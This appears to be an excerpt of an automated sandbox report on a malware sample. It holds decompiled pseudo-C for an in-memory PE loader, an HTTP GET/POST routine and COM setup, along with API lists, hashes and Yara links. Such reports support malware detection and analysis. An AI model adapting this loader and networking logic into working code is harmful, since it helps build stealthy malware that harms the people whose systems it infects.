							_t252 = _v20;
							L42:
							_t262 = _v32;
							_t252 = _t252 + 1;
							_v20 = _t252;
							__eflags = _t262;
							if(_t262 != 0) {
								continue;
							}
							L48:
							_t324 = _v40;
							goto L49;
						}
						_t247 = _v28;
						 *((intOrPtr*)( *_t247 + 8))(_t247);
						goto L42;
					}
					_t262 = _v32;
					goto L48;
				} else {
					E00EF913B( &_v36, _t322);
					_t320 = _v36;
					goto L53;
				}
			}

0x00efd6f0
0x00efd6f6
0x00efd6fd
0x00efd700
0x00efd703
0x00efd708
0x00efd70a
0x00efd70f
0x00efdb57
0x00efdb57
0x00efd71c
0x00efd71e
0x00efd721
0x00efd724
0x00efdb3c
0x00efdb42
0x00efdb4c
0x00000000
0x00efdb51
0x00efd72f
0x00efd736
0x00efd73d
0x00efd740
0x00efd745
0x00efd747
0x00efd74a
0x00efd74d
0x00efd74e
0x00efd757
0x00efd75d
0x00efd760
0x00efd769
0x00efd76e
0x00efd773
0x00efd78a
0x00efd797
0x00efd79a
0x00efd7a1
0x00efd7a6
0x00efd7ad
0x00efd7b2
0x00efd7b9
0x00efd7bb
0x00efd7c7
0x00efd7ca
0x00efd7cc
0x00efdb2c
0x00efdb2d
0x00efdb36
0x00000000
0x00efdb36
0x00efd7d2
0x00efd7d5
0x00efd7d8
0x00efd7db
0x00efd7dd
0x00efdaf8
0x00efdafb
0x00efdafe
0x00efdb00
0x00efdb22
0x00efdb27
0x00efdb02
0x00efdb05
0x00efdb10
0x00efdb17
0x00efdb17
0x00000000
0x00000000
0x00000000
0x00000000
0x00efd7e3
0x00efd7e3
0x00efd7f5
0x00efd7f8
0x00efd7fa
0x00000000
0x00000000
0x00efd802
0x00efd805
0x00efd808
0x00efd80b
0x00efd80e
0x00efd811
0x00000000
0x00000000
0x00efd817
0x00efd825
0x00efd828
0x00efd82a
0x00efd843
0x00efd852
0x00efd85a
0x00efd85a
0x00efd85d
0x00efd864
0x00efd868
0x00efd86e
0x00efd870
0x00efdae0
0x00efdae6
0x00efdaec
0x00efdaef
0x00efdaef
0x00000000
0x00efdaef
0x00efd87f
0x00efd893
0x00efd897
0x00efd899
0x00efd89e
0x00efdaad
0x00efdab3
0x00efdabe
0x00efdac9
0x00efdacf
0x00efdad5
0x00efdad8
0x00000000
0x00efdad8
0x00efd8a4
0x00efda7b
0x00efda7b
0x00efda7e
0x00efda81
0x00000000
0x00000000
0x00efd8ac
0x00efd8b4
0x00efd8bb
0x00efd8c1
0x00efd8c3
0x00000000
0x00000000
0x00efd8cc
0x00efd8e1
0x00efd8e7
0x00efd8f0
0x00efd8f3
0x00efd8f6
0x00efd8f8
0x00efda6e
0x00efda71
0x00efda7a
0x00efda7a
0x00000000
0x00efda7a
0x00efd908
0x00efd90b
0x00efd912
0x00efd918
0x00efd91b
0x00efd91e
0x00efd921
0x00efd924
0x00efd960
0x00efd960
0x00efd963
0x00efda0f
0x00efda23
0x00efda33
0x00efda37
0x00efda39
0x00efda50
0x00efda54
0x00efda5d
0x00efda68
0x00000000
0x00efda68
0x00efda3f
0x00efda40
0x00efda45
0x00efda45
0x00efda47
0x00efda48
0x00efda4d
0x00000000
0x00efda4d
0x00efd969
0x00efd969
0x00efd96c
0x00efd9d7
0x00efd9eb
0x00efd9fb
0x00efd9ff
0x00efda01
0x00000000
0x00000000
0x00efda07
0x00efda08
0x00000000
0x00efda08
0x00efd96e
0x00efd96e
0x00efd971
0x00000000
0x00000000
0x00efd973
0x00efd976
0x00000000
0x00000000
0x00efd978
0x00efd978
0x00efd97e
0x00efd99a
0x00efd9a9
0x00efd9b2
0x00efd9b7
0x00efd9ba
0x00efd9c0
0x00efd9c0
0x00efd9c5
0x00efd9d1
0x00000000
0x00efd9d1
0x00efd983
0x00000000
0x00efd983
0x00efd926
0x00efd94d
0x00efd952
0x00efd957
0x00efd959
0x00efd959
0x00000000
0x00efd957
0x00efd928
0x00efd928
0x00efd92b
0x00000000
0x00000000
0x00efd931
0x00efd931
0x00efd934
0x00000000
0x00000000
0x00efd93a
0x00efd93a
0x00efd93d
0x00000000
0x00000000
0x00efd943
0x00efd946
0x00000000
0x00000000
0x00efd948
0x00000000
0x00efd948
0x00efda8a
0x00efda90
0x00efda96
0x00efda99
0x00efda9c
0x00efda9c
0x00efda9f
0x00efdaa0
0x00efdaa3
0x00efdaa5
0x00000000
0x00000000
0x00efdaf5
0x00efdaf5
0x00000000
0x00efdaf5
0x00efd82c
0x00efd832
0x00000000
0x00efd832
0x00efdaf2
0x00000000
0x00efd775
0x00efd77a
0x00efd77f
0x00000000
0x00efd783

APIs

Part of subcall function 00EFD213: CoInitializeEx.OLE32(00000000,00000000,00000000,00000000,00000000,00000000,?,00EFD3CE,00000EFA,00000000,00000000,00000005), ref: 00EFD226
Part of subcall function 00EFD213: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00EFD3CE,00000EFA,00000000,00000000,00000005), ref: 00EFD237
Part of subcall function 00EFD213: CoCreateInstance.OLE32(00F0D848,00000000,00000001,00F0D858,00000000,?,00EFD3CE,00000EFA,00000000,00000000,00000005), ref: 00EFD24E
Part of subcall function 00EFD213: SysAllocString.OLEAUT32(00000000), ref: 00EFD259
Part of subcall function 00EFD213: CoSetProxyBlanket.OLE32(00000005,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00EFD3CE,00000EFA,00000000,00000000,00000005), ref: 00EFD284

SysAllocString.OLEAUT32(00000000), ref: 00EFD790
SysAllocString.OLEAUT32(00000000), ref: 00EFD7A4
SysFreeString.OLEAUT32(?), ref: 00EFDB2D
SysFreeString.OLEAUT32(?), ref: 00EFDB36

Part of subcall function 00EF913B: HeapFree.KERNEL32(00000000,00000000), ref: 00EF9181

Strings

FALSE, xrefs: 00EFD959
TRUE, xrefs: 00EFD952

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: String$AllocFree$Initialize$BlanketCreateHeapInstanceProxySecurity
String ID: FALSE$TRUE
API String ID: 318989454-1412513891
Opcode ID: b337348aa3856655ac9dc935a0d6a7f334bad92efa8c83e29e4b12a2b8000409
Instruction ID: 100a6b459c2be2ef08002aefec53bd7ea18fd98ca60d114467777825c8205213
Opcode Fuzzy Hash: b337348aa3856655ac9dc935a0d6a7f334bad92efa8c83e29e4b12a2b8000409
Instruction Fuzzy Hash: 19E13971A0421DAFCB14EFA4CC99EBEBBBAFF48304F105159E646B7291DB71A901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F03175 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 66
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00F03175(intOrPtr* _a4) {
				signed int _v8;
				_Unknown_base(*)()* _v12;
				char _v16;
				_Unknown_base(*)()* _t15;
				void* _t20;
				intOrPtr* _t25;
				intOrPtr* _t29;
				struct HINSTANCE__* _t30;

				_v8 = _v8 & 0x00000000;
				_t30 = GetModuleHandleW(L"advapi32.dll");
				if(_t30 == 0) {
					L7:
					return 1;
				}
				_t25 = GetProcAddress(_t30, "CryptAcquireContextA");
				if(_t25 == 0) {
					goto L7;
				}
				_t15 = GetProcAddress(_t30, "CryptGenRandom");
				_v12 = _t15;
				if(_t15 == 0) {
					goto L7;
				}
				_t29 = GetProcAddress(_t30, "CryptReleaseContext");
				if(_t29 == 0) {
					goto L7;
				}
				_push(0xf0000000);
				_push(1);
				_push(0);
				_push(0);
				_push( &_v8);
				if( *_t25() == 0) {
					goto L7;
				}
				_t20 = _v12(_v8, 4,  &_v16);
				 *_t29(_v8, 0);
				if(_t20 == 0) {
					goto L7;
				}
				 *_a4 = E00F030D0( &_v16);
				return 0;
			}

0x00f0317b
0x00f0318d
0x00f03191
0x00f03205
0x00000000
0x00f03207
0x00f031a1
0x00f031a5
0x00000000
0x00000000
0x00f031ad
0x00f031af
0x00f031b4
0x00000000
0x00000000
0x00f031be
0x00f031c2
0x00000000
0x00000000
0x00f031c4
0x00f031c9
0x00f031cb
0x00f031cd
0x00f031d2
0x00f031d7
0x00000000
0x00000000
0x00f031e2
0x00f031ec
0x00f031f0
0x00000000
0x00000000
0x00f031ff
0x00000000

APIs

GetModuleHandleW.KERNEL32(advapi32.dll,00000000,00000000,?,00EF818C,00000000), ref: 00F03187
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00F0319F
GetProcAddress.KERNEL32(00000000,CryptGenRandom), ref: 00F031AD
GetProcAddress.KERNEL32(00000000,CryptReleaseContext), ref: 00F031BC

Strings

CryptAcquireContextA, xrefs: 00F03199
advapi32.dll, xrefs: 00F03182
CryptReleaseContext, xrefs: 00F031B6
CryptGenRandom, xrefs: 00F031A7

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CryptAcquireContextA$CryptGenRandom$CryptReleaseContext$advapi32.dll
API String ID: 667068680-129414566
Opcode ID: 167fa2ae25915f9c2b201e03761341265ee07901d3db7a1f790d99b659a063a5
Instruction ID: c23b17b597eaca717c1d93b7349c0c10e022bbc1dc6a8fdd7dd9da720a27b1db
Opcode Fuzzy Hash: 167fa2ae25915f9c2b201e03761341265ee07901d3db7a1f790d99b659a063a5
Instruction Fuzzy Hash: A011A532E45719B7DB219BB48C45F9EBBAC9F45750F220161F900E61C0EB71DF04BA95

Uniqueness

Uniqueness Score: -1.00%

Function 00EFF03B Relevance: 13.8, APIs: 7, Strings: 2, Instructions: 278
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00EFF03B(intOrPtr __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				char _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				int _v76;
				void* _v80;
				intOrPtr _v100;
				int _v104;
				void* _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				char* _v120;
				char _v124;
				char _v140;
				void _v396;
				void _v652;
				intOrPtr _t91;
				intOrPtr _t99;
				intOrPtr* _t101;
				intOrPtr _t106;
				signed int _t107;
				void* _t108;
				intOrPtr _t109;
				signed int _t110;
				intOrPtr _t112;
				char _t114;
				intOrPtr _t119;
				intOrPtr _t126;
				intOrPtr _t130;
				intOrPtr _t134;
				intOrPtr _t136;
				intOrPtr _t138;
				char _t142;
				intOrPtr _t144;
				void* _t154;
				signed int _t156;
				intOrPtr _t162;
				intOrPtr _t167;
				signed int _t168;
				signed int _t176;
				char _t182;
				signed int _t183;
				void* _t184;
				signed int _t186;
				signed int _t187;
				signed int _t188;
				char _t189;
				void* _t190;
				void* _t191;
				intOrPtr* _t193;

				_t157 = __ecx;
				_v40 = _v40 & 0x00000000;
				_t184 = __edx;
				_v24 = __ecx;
				_v32 = 4;
				_v36 = 1;
				memset( &_v396, 0, 0x100);
				memset( &_v652, 0, 0x100);
				_t193 = _t191 + 0x18;
				_v64 = E00EF90CA(_t157, 0x503);
				 *_t193 = 0x14ee;
				_v60 = E00EF90CA(_t157);
				 *_t193 = 0x18a;
				_v56 = E00EF90CA(_t157);
				 *_t193 = 0x128f;
				_v52 = E00EF90CA(_t157);
				 *_t193 = 0xe8b;
				_t91 = E00EF90CA(_t157);
				_v44 = _v44 & 0;
				_t182 = 0x3c;
				_v48 = _t91;
				E00EF92A2( &_v124, 0, 0x100);
				_v116 = 0x10;
				_v120 =  &_v140;
				_v124 = _t182;
				_v108 =  &_v396;
				_v104 = 0x100;
				_v80 =  &_v652;
				_push( &_v124);
				_push(0);
				_v76 = 0x100;
				_push(E00EFCE25(_t184));
				_t99 =  *0xf10fb8; // 0x0
				_push(_t184);
				if( *((intOrPtr*)(_t99 + 0x28))() != 0) {
					_t176 = 0;
					__eflags = 0;
					_v28 = 0;
					do {
						_t101 =  *0xf10fb8; // 0x0
						_v12 = 0x8404f700;
						_t183 =  *_t101( *0xf110c8,  *((intOrPtr*)(_t190 + _t176 * 4 - 0x24)), 0, 0, 0);
						__eflags = _t183;
						if(_t183 != 0) {
							E00EFEFD3(_t183);
							_t106 =  *0xf10fb8; // 0x0
							_t107 =  *((intOrPtr*)(_t106 + 0x1c))(_t183,  &_v396, _v100, 0, 0, 3, 0, 0);
							__eflags = _a24;
							_t156 = _t107;
							if(_a24 != 0) {
								E00EFC2D1(_a24);
							}
							__eflags = _t156;
							if(_t156 != 0) {
								__eflags = _v112 - 4;
								_t162 = 0x8484f700;
								if(_v112 != 4) {
									_t162 = _v12;
								}
								__eflags = _v24 - 2;
								_t108 = 0xf0df0c;
								if(_v24 != 2) {
									_t108 = 0xf0df14;
								}
								_t164 =  &_v652;
								_t109 =  *0xf10fb8; // 0x0
								_t110 =  *((intOrPtr*)(_t109 + 0x20))(_t156, _t108,  &_v652, 0, 0,  &_v64, _t162, 0);
								__eflags = _a24;
								_t186 = _t110;
								_v8 = _t186;
								if(_a24 != 0) {
									_t164 = _a24;
									E00EFC2D1(_a24);
								}
								__eflags = _t186;
								if(_t186 != 0) {
									__eflags = _v112 - 4;
									if(_v112 == 4) {
										_t164 = _t186;
										E00EFEF81(_t186);
									}
									__eflags = _v24 - 2;
									if(_v24 != 2) {
										__eflags = 0;
										_t112 =  *0xf10fb8; // 0x0
										_v12 =  *((intOrPtr*)(_t112 + 0x24))(_t186, 0, 0, 0, 0);
									} else {
										_t142 = E00EF90CA(_t164, 0xfb3);
										_t189 = _t142;
										_v16 = _t189;
										_t144 =  *0xf10fb8; // 0x0
										_t186 = _v8;
										_v12 =  *((intOrPtr*)(_t144 + 0x24))(_t186, _t189, E00EFCE25(_t189), _a4, _a8);
										E00EF9D4C( &_v16);
									}
									__eflags = _a24;
									if(_a24 != 0) {
										E00EFC2D1(_a24);
									}
									__eflags = _v12;
									if(_v12 != 0) {
										L31:
										_t114 = 8;
										_v32 = _t114;
										_v20 = 0;
										_v16 = 0;
										E00EF92A2( &_v20, 0, _t114);
										_t119 =  *0xf10fb8; // 0x0
										__eflags =  *((intOrPtr*)(_t119 + 0xc))(_t186, 0x13,  &_v20,  &_v32, 0);
										if(__eflags != 0) {
											_t187 = E00EFC1E4( &_v20, __eflags);
											__eflags = _t187 - 0xc8;
											if(_t187 == 0xc8) {
												 *_a20 = _v8;
												 *_a12 = _t183;
												 *_a16 = _t156;
												__eflags = 0;
												return 0;
											}
											_t188 =  ~_t187;
											L35:
											_t126 =  *0xf10fb8; // 0x0
											 *((intOrPtr*)(_t126 + 8))(_v8);
											L36:
											__eflags = _t156;
											if(_t156 != 0) {
												_t130 =  *0xf10fb8; // 0x0
												 *((intOrPtr*)(_t130 + 8))(_t156);
											}
											__eflags = _t183;
											if(_t183 != 0) {
												_t167 =  *0xf10fb8; // 0x0
												 *((intOrPtr*)(_t167 + 8))(_t183);
											}
											return _t188;
										}
										GetLastError();
										_t188 = 0xfffffff8;
										goto L35;
									} else {
										GetLastError();
										_t134 =  *0xf10fb8; // 0x0
										 *((intOrPtr*)(_t134 + 8))(_t186);
										_t186 = 0;
										__eflags = 0;
										goto L26;
									}
								} else {
									GetLastError();
									L26:
									_t136 =  *0xf10fb8; // 0x0
									 *((intOrPtr*)(_t136 + 8))(_t156);
									_t156 = 0;
									__eflags = 0;
									goto L27;
								}
							} else {
								GetLastError();
								L27:
								_t138 =  *0xf10fb8; // 0x0
								 *((intOrPtr*)(_t138 + 8))(_t183);
								_t183 = 0;
								__eflags = 0;
								goto L28;
							}
						}
						GetLastError();
						L28:
						_t168 = _t186;
						_t176 = _v28 + 1;
						_v28 = _t176;
						__eflags = _t176 - 2;
					} while (_t176 < 2);
					_v8 = _t186;
					__eflags = _t168;
					if(_t168 != 0) {
						goto L31;
					}
					_t188 = 0xfffffffe;
					goto L36;
				}
				_t154 = 0xfffffffc;
				return _t154;
			}

0x00eff03b
0x00eff044
0x00eff051
0x00eff053
0x00eff05b
0x00eff064
0x00eff070
0x00eff081
0x00eff086
0x00eff093
0x00eff096
0x00eff0a2
0x00eff0a5
0x00eff0b1
0x00eff0b4
0x00eff0c0
0x00eff0c3
0x00eff0ca
0x00eff0cf
0x00eff0d5
0x00eff0d7
0x00eff0df
0x00eff0ea
0x00eff0f1
0x00eff0fd
0x00eff100
0x00eff10e
0x00eff111
0x00eff117
0x00eff118
0x00eff11a
0x00eff123
0x00eff124
0x00eff129
0x00eff12f
0x00eff139
0x00eff139
0x00eff13b
0x00eff140
0x00eff140
0x00eff14f
0x00eff15e
0x00eff160
0x00eff162
0x00eff171
0x00eff188
0x00eff18e
0x00eff191
0x00eff195
0x00eff197
0x00eff19c
0x00eff19c
0x00eff1a1
0x00eff1a3
0x00eff1b0
0x00eff1b4
0x00eff1b9
0x00eff1bb
0x00eff1bb
0x00eff1be
0x00eff1c2
0x00eff1c7
0x00eff1c9
0x00eff1c9
0x00eff1d8
0x00eff1e0
0x00eff1e6
0x00eff1e9
0x00eff1ed
0x00eff1ef
0x00eff1f2
0x00eff1f4
0x00eff1f7
0x00eff1f7
0x00eff1fc
0x00eff1fe
0x00eff20b
0x00eff20f
0x00eff211
0x00eff213
0x00eff213
0x00eff218
0x00eff21c
0x00eff258
0x00eff25e
0x00eff267
0x00eff21e
0x00eff223
0x00eff22c
0x00eff231
0x00eff23c
0x00eff242
0x00eff249
0x00eff250
0x00eff255
0x00eff26a
0x00eff26e
0x00eff273
0x00eff273
0x00eff278
0x00eff27c
0x00eff2c5
0x00eff2c7
0x00eff2ca
0x00eff2d2
0x00eff2d6
0x00eff2d9
0x00eff2eb
0x00eff2f6
0x00eff2f8
0x00eff30d
0x00eff30f
0x00eff315
0x00eff34a
0x00eff34f
0x00eff354
0x00eff356
0x00000000
0x00eff356
0x00eff317
0x00eff319
0x00eff319
0x00eff322
0x00eff325
0x00eff325
0x00eff327
0x00eff329
0x00eff32f
0x00eff32f
0x00eff332
0x00eff334
0x00eff336
0x00eff33d
0x00eff33d
0x00000000
0x00eff340
0x00eff2fa
0x00eff302
0x00000000
0x00eff27e
0x00eff27e
0x00eff284
0x00eff28a
0x00eff28d
0x00eff28d
0x00000000
0x00eff28d
0x00eff200
0x00eff200
0x00eff28f
0x00eff28f
0x00eff295
0x00eff298
0x00eff298
0x00000000
0x00eff298
0x00eff1a5
0x00eff1a5
0x00eff29a
0x00eff29a
0x00eff2a0
0x00eff2a3
0x00eff2a3
0x00000000
0x00eff2a3
0x00eff1a3
0x00eff164
0x00eff2a5
0x00eff2a8
0x00eff2aa
0x00eff2ad
0x00eff2b0
0x00eff2b0
0x00eff2b9
0x00eff2bc
0x00eff2be
0x00000000
0x00000000
0x00eff2c2
0x00000000
0x00eff2c2
0x00eff133
0x00000000

APIs

memset.MSVCRT ref: 00EFF070
memset.MSVCRT ref: 00EFF081

Part of subcall function 00EF92A2: memset.MSVCRT ref: 00EF92B4

GetLastError.KERNEL32(?,?,?,?,?,?,00000000,000007D0,00000000), ref: 00EFF164

Strings

GET, xrefs: 00EFF1C9, 00EFF1DF
POST, xrefs: 00EFF1C2

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: memset$ErrorLast
String ID: GET$POST
API String ID: 2570506013-3192705859
Opcode ID: 5a95d29a2873db0bc5ec2dc289bc507e425991903c0a84d8395eb783322918e8
Instruction ID: 76b5f56c7d7575180da70bc083290972716d5f374771570035775c18167f009e
Opcode Fuzzy Hash: 5a95d29a2873db0bc5ec2dc289bc507e425991903c0a84d8395eb783322918e8
Instruction Fuzzy Hash: 1BA139B190121CAFEB50DFA4DC45AFEB7B8EF48310F118069E605E72A1DB749A81DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00F01CE9 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 445COMMON

Download Yara Rule

APIs

_snprintf.MSVCRT ref: 00F01D69
qsort.MSVCRT ref: 00F01FE7

Strings

%I64d, xrefs: 00F01D5B
true, xrefs: 00F01D40
null, xrefs: 00F01D2E
false, xrefs: 00F01D4C

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: _snprintfqsort
String ID: %I64d$false$null$true
API String ID: 756996078-4285102228
Opcode ID: 1b826bc04d645df45af9a698f4ce26f30ced72e49cd89d480ec0a3310632e8d2
Instruction ID: b94865a00fa8135363b05db1b4785639118a259e3d4cb633282d772bc8a192ee
Opcode Fuzzy Hash: 1b826bc04d645df45af9a698f4ce26f30ced72e49cd89d480ec0a3310632e8d2
Instruction Fuzzy Hash: 13E189B2A0020ABBEF119F64CC86EAF7B79FF54350F108019FD15961C1E635DA61BBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F04646 Relevance: 9.3, APIs: 6, Instructions: 329
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00F04646(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16, intOrPtr _a20) {
				signed int _v5;
				signed short _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				signed int* _v24;
				unsigned int _v28;
				signed short* _v32;
				struct HINSTANCE__* _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr* _v48;
				signed short* _v52;
				intOrPtr _v56;
				unsigned int _v60;
				intOrPtr _v64;
				_Unknown_base(*)()* _v68;
				signed int _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				unsigned int _v88;
				intOrPtr _v92;
				signed int _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				CHAR* _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _t220;
				signed int _t237;
				void* _t277;
				signed int _t282;
				signed int _t284;
				intOrPtr _t324;

				_v44 = _v44 & 0x00000000;
				_v84 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
				_v20 = _v84;
				_t324 = _a4 -  *((intOrPtr*)(_v20 + 0x34));
				_v64 = _t324;
				if(_t324 == 0) {
					L13:
					while(0 != 0) {
					}
					_push(8);
					if( *((intOrPtr*)(_v20 + 0xbadc25)) == 0) {
						L35:
						if(_a16 == 0) {
							L54:
							_v80 =  *((intOrPtr*)(_v20 + 0x28)) + _a4;
							while(0 != 0) {
							}
							if(_a12 != 0) {
								 *_a12 = _v80;
							}
							 *((intOrPtr*)(_v20 + 0x34)) = _a4;
							E00F043F4(GetCurrentProcess(),  *0xf10fe4, _t203, _a4, _a4);
							_v124 = _v80(_a4, 1, _a8);
							while(0 != 0) {
							}
							if(_v124 != 0) {
								if(_v44 == 0) {
									L77:
									return 1;
								}
								if(_a20 != 1) {
									if(_a20 != 2) {
										L75:
										while(0 != 0) {
										}
										goto L77;
									}
									while(0 != 0) {
									}
									_v132 = _v44;
									goto L75;
								}
								while(0 != 0) {
								}
								_v44();
								goto L75;
							}
							while(0 != 0) {
							}
							return 0;
						}
						while(0 != 0) {
						}
						_push(8);
						if( *((intOrPtr*)(_v20 + 0x78)) == 0) {
							goto L54;
						}
						_v128 = 0x80000000;
						_t220 = 8;
						_v76 = _a4 +  *((intOrPtr*)(_v20 + 0x78 + _t220 * 0));
						_v108 = _a4 +  *((intOrPtr*)(_v76 + 0x20));
						_v112 = _a4 +  *((intOrPtr*)(_v76 + 0x1c));
						_v104 =  *((intOrPtr*)(_v76 + 0x18));
						while(0 != 0) {
						}
						_v40 = _v40 & 0x00000000;
						while(_v40 < _v104) {
							_v116 = _a4 +  *((intOrPtr*)(_v108 + _v40 * 4));
							_v120 = _a4 +  *((intOrPtr*)(_v112 + _v40 * 4));
							if(lstrcmpA(_v116, _a16) != 0) {
								_v40 = _v40 + 1;
								continue;
							}
							while(0 != 0) {
							}
							_v44 = _v120;
							break;
						}
						if(_v44 != 0) {
							goto L54;
						}
						while(0 != 0) {
						}
						return 0xffffffff;
					}
					_v96 = 0x80000000;
					_t237 = 8;
					_v16 = _a4 +  *((intOrPtr*)(_v20 + (_t237 << 0) + 0x78));
					while( *((intOrPtr*)(_v16 + 0xc)) != 0) {
						_v36 = GetModuleHandleA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						if(_v36 == 0) {
							_v36 = LoadLibraryA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						}
						if(_v36 != 0) {
							if( *_v16 == 0) {
								_v24 =  *((intOrPtr*)(_v16 + 0x10)) + _a4;
							} else {
								_v24 =  *_v16 + _a4;
							}
							_v72 = _v72 & 0x00000000;
							while( *_v24 != 0) {
								if(( *_v24 & _v96) == 0) {
									_v100 =  *_v24 + _a4;
									_v68 = GetProcAddress(_v36, _v100 + 2);
								} else {
									_v68 = GetProcAddress(_v36,  *_v24 & 0x0000ffff);
								}
								if( *((intOrPtr*)(_v16 + 0x10)) == 0) {
									 *_v24 = _v68;
								} else {
									 *( *((intOrPtr*)(_v16 + 0x10)) + _a4 + _v72) = _v68;
								}
								_v24 =  &(_v24[1]);
								_v72 = _v72 + 4;
							}
							_v16 = _v16 + 0x14;
							continue;
						} else {
							_t277 = 0xfffffffd;
							return _t277;
						}
					}
					goto L35;
				}
				_t282 = 8;
				_v52 = _a4 +  *((intOrPtr*)(_v20 + 0x78 + _t282 * 5));
				_t284 = 8;
				_v56 =  *((intOrPtr*)(_v20 + 0x7c + _t284 * 5));
				while(0 != 0) {
				}
				while(_v56 > 0) {
					_v28 = _v52[2];
					_v56 = _v56 - _v28;
					_v28 = _v28 - 8;
					_v28 = _v28 >> 1;
					_v32 =  &(_v52[4]);
					_v92 = _a4 +  *_v52;
					_v60 = _v28;
					while(1) {
						_v88 = _v60;
						_v60 = _v60 - 1;
						if(_v88 == 0) {
							break;
						}
						_v5 = ( *_v32 & 0x0000ffff) >> 0xc;
						_v12 =  *_v32 & 0xfff;
						_v48 = (_v12 & 0x0000ffff) + _v92;
						if((_v5 & 0x000000ff) != 3) {
							if((_v5 & 0x000000ff) == 0xa) {
								 *_v48 =  *_v48 + _v64;
							}
						} else {
							 *_v48 =  *_v48 + _v64;
						}
						_v32 =  &(_v32[1]);
					}
					_v52 = _v32;
				}
				goto L13;
			}

0x00f0464f
0x00f0465c
0x00f04662
0x00f0466b
0x00f0466e
0x00f04671
0x00000000
0x00f04762
0x00f04766
0x00f04768
0x00f04776
0x00f04894
0x00f04898
0x00f04960
0x00f04969
0x00f0496c
0x00f04970
0x00f04976
0x00f0497e
0x00f0497e
0x00f04986
0x00f0499c
0x00f049af
0x00f049b2
0x00f049b6
0x00f049bc
0x00f049cc
0x00f049f7
0x00000000
0x00f049f9
0x00f049d2
0x00f049e3
0x00000000
0x00f049f1
0x00f049f5
0x00000000
0x00f049f1
0x00f049e5
0x00f049e9
0x00f049ee
0x00000000
0x00f049ee
0x00f049d4
0x00f049d8
0x00f049da
0x00000000
0x00f049da
0x00f049be
0x00f049c2
0x00000000
0x00f049c4
0x00f0489e
0x00f048a2
0x00f048a4
0x00f048b2
0x00000000
0x00000000
0x00f048b8
0x00f048c1
0x00f048cf
0x00f048db
0x00f048e7
0x00f048f0
0x00f048f3
0x00f048f7
0x00f048f9
0x00f04906
0x00f0491a
0x00f04929
0x00f0493a
0x00f04903
0x00000000
0x00f04903
0x00f0493c
0x00f04940
0x00f04945
0x00000000
0x00f04945
0x00f04950
0x00000000
0x00000000
0x00f04952
0x00f04956
0x00000000
